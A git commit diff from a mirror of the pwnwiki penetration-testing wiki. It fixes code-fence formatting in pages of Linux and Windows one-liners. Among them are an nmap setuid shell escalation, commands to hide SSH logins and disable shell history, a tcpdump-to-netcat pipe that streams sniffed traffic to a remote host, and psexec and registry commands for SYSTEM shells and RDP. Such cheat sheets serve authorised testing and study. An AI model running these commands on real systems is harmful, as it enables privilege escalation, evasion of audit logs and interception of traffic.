mirror of
https://github.com/oXis/pwnwiki.github.io.git
synced 2025-10-29 16:56:59 +00:00
Fix bash markup ticks
This commit is contained in:
parent
5d9cc70241
commit
f8e60ff27b
@ -5,76 +5,94 @@ One liners
|
|||||||
|
|
||||||
**Resolve a list of hostnames to IP addresses**
|
**Resolve a list of hostnames to IP addresses**
|
||||||
```bash
|
```bash
|
||||||
awk < hostnames.txt '{ system("resolveip -s " $1) }'```
|
awk < hostnames.txt '{ system("resolveip -s " $1) }'
|
||||||
|
```
|
||||||
|
|
||||||
**IIS 6.0 IP Disclosure**
|
**IIS 6.0 IP Disclosure**
|
||||||
```bash
|
```bash
|
||||||
curl -l -O -H "Host:" "example.com"```
|
curl -l -O -H "Host:" "example.com"
|
||||||
|
```
|
||||||
|
|
||||||
**Connect to SSL websites**
|
**Connect to SSL websites**
|
||||||
```bash
|
```bash
|
||||||
openssl s_client -connect example.com:443```
|
openssl s_client -connect example.com:443
|
||||||
|
```
|
||||||
|
|
||||||
**Convert base64 to text**
|
**Convert base64 to text**
|
||||||
```bash
|
```bash
|
||||||
echo 'base64string' | base64 -d (Use -D on OSX)```
|
echo 'base64string' | base64 -d (Use -D on OSX)
|
||||||
|
```
|
||||||
|
|
||||||
**Decode ASCII shellcode**
|
**Decode ASCII shellcode**
|
||||||
```bash
|
```bash
|
||||||
echo -e *shellcode hex string* (may need to use -i to ignore bad chars)```
|
echo -e *shellcode hex string* (may need to use -i to ignore bad chars)
|
||||||
|
```
|
||||||
|
|
||||||
**Enumerate DNS of Class C**
|
**Enumerate DNS of Class C**
|
||||||
```bash
|
```bash
|
||||||
for ip in $(seq 1 254); do; host 10.1.1.$ip | grep "name pointer"; done```
|
for ip in $(seq 1 254); do; host 10.1.1.$ip | grep "name pointer"; done
|
||||||
|
```
|
||||||
|
|
||||||
**SSH to box and hide from "who" and "lastlog"**
|
**SSH to box and hide from "who" and "lastlog"**
|
||||||
```bash
|
```bash
|
||||||
ssh andrew@10.1.1.1 -T /bin/bash```
|
ssh andrew@10.1.1.1 -T /bin/bash
|
||||||
|
```
|
||||||
|
|
||||||
**Prevent terminal logging**
|
**Prevent terminal logging**
|
||||||
```bash
|
```bash
|
||||||
unset HISTFILE```
|
unset HISTFILE
|
||||||
|
```
|
||||||
|
|
||||||
**Add immutable attribute to a unix file**
|
**Add immutable attribute to a unix file**
|
||||||
```bash
|
```bash
|
||||||
chattr +i *file*```
|
chattr +i *file*
|
||||||
|
```
|
||||||
|
|
||||||
**SSH into host2 through host1**
|
**SSH into host2 through host1**
|
||||||
```bash
|
```bash
|
||||||
ssh -o "proxycommand ssh -W host2 host1" host2```
|
ssh -o "proxycommand ssh -W host2 host1" host2
|
||||||
|
```
|
||||||
|
|
||||||
**Nmap setuid privesc**
|
**Nmap setuid privesc**
|
||||||
```bash
|
```bash
|
||||||
nmap --script <(echo 'os.execute("/bin/sh")')
|
nmap --script <(echo 'os.execute("/bin/sh")')
|
||||||
nmap --interactive (for older versions)```
|
nmap --interactive (for older versions)
|
||||||
|
```
|
||||||
|
|
||||||
**Transfer files through SSH**
|
**Transfer files through SSH**
|
||||||
```bash
|
```bash
|
||||||
ssh test@10.1.1.1 "cat test.tar.gz" > test.tar.gz```
|
ssh test@10.1.1.1 "cat test.tar.gz" > test.tar.gz
|
||||||
|
```
|
||||||
|
|
||||||
**Internal port redirect for bypassing services**
|
**Internal port redirect for bypassing services**
|
||||||
```bash
|
```bash
|
||||||
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 4444```
|
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 4444
|
||||||
|
```
|
||||||
|
|
||||||
**Enable forwarding on the fly**
|
**Enable forwarding on the fly**
|
||||||
```bash
|
```bash
|
||||||
sysctl -w net.ipv4.ip_forward=1```
|
sysctl -w net.ipv4.ip_forward=1
|
||||||
|
```
|
||||||
|
|
||||||
**Kill with USR1 developer defined signal**
|
**Kill with USR1 developer defined signal**
|
||||||
```bash
|
```bash
|
||||||
kill -USR1 <pid>```
|
kill -USR1 <pid>
|
||||||
|
```
|
||||||
|
|
||||||
**Pull IP addresses from a file**
|
**Pull IP addresses from a file**
|
||||||
```bash
|
```bash
|
||||||
grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'```
|
grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
|
||||||
|
```
|
||||||
|
|
||||||
**Sniff traffic with tcpdump and send to remote tcp socket**
|
**Sniff traffic with tcpdump and send to remote tcp socket**
|
||||||
```bash
|
```bash
|
||||||
tcpdump -w - | nc -v 8.8.8.8 9999```
|
tcpdump -w - | nc -v 8.8.8.8 9999
|
||||||
|
```
|
||||||
|
|
||||||
**Recursively search for files within a directory**
|
**Recursively search for files within a directory**
|
||||||
```bash
|
```bash
|
||||||
zcat -rf ./* | grep "searchstring"
|
zcat -rf ./* | grep "searchstring"
|
||||||
|
```
|
||||||
|
|
||||||
Credits
|
Credits
|
||||||
-----------
|
-----------
|
||||||
|
|||||||
@ -5,12 +5,19 @@ One liners
|
|||||||
**Tunnel traffic natively with windows**
|
**Tunnel traffic natively with windows**
|
||||||
```bash
|
```bash
|
||||||
netsh int portproxy v4tov4 listenport=80 connecthost=10.0.0.1 connectport=80
|
netsh int portproxy v4tov4 listenport=80 connecthost=10.0.0.1 connectport=80
|
||||||
|
```
|
||||||
|
|
||||||
**Launch cmd.exe as local system w/ psexec**
|
**Launch cmd.exe as local system w/ psexec**
|
||||||
|
```bash
|
||||||
psexec -s cmd.exe
|
psexec -s cmd.exe
|
||||||
|
```
|
||||||
|
|
||||||
**Enable rdp with CLI**
|
**Enable rdp with CLI**
|
||||||
|
```bash
|
||||||
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
||||||
|
```
|
||||||
|
|
||||||
**Launch ARP scan**
|
**Launch ARP scan**
|
||||||
|
```bash
|
||||||
for /L %i in (1,1,255) do @start /b ping -n 1 -w 1 192.168.1.%i
|
for /L %i in (1,1,255) do @start /b ping -n 1 -w 1 192.168.1.%i
|
||||||
|
```
|
||||||
Loading…
x
Reference in New Issue
Block a user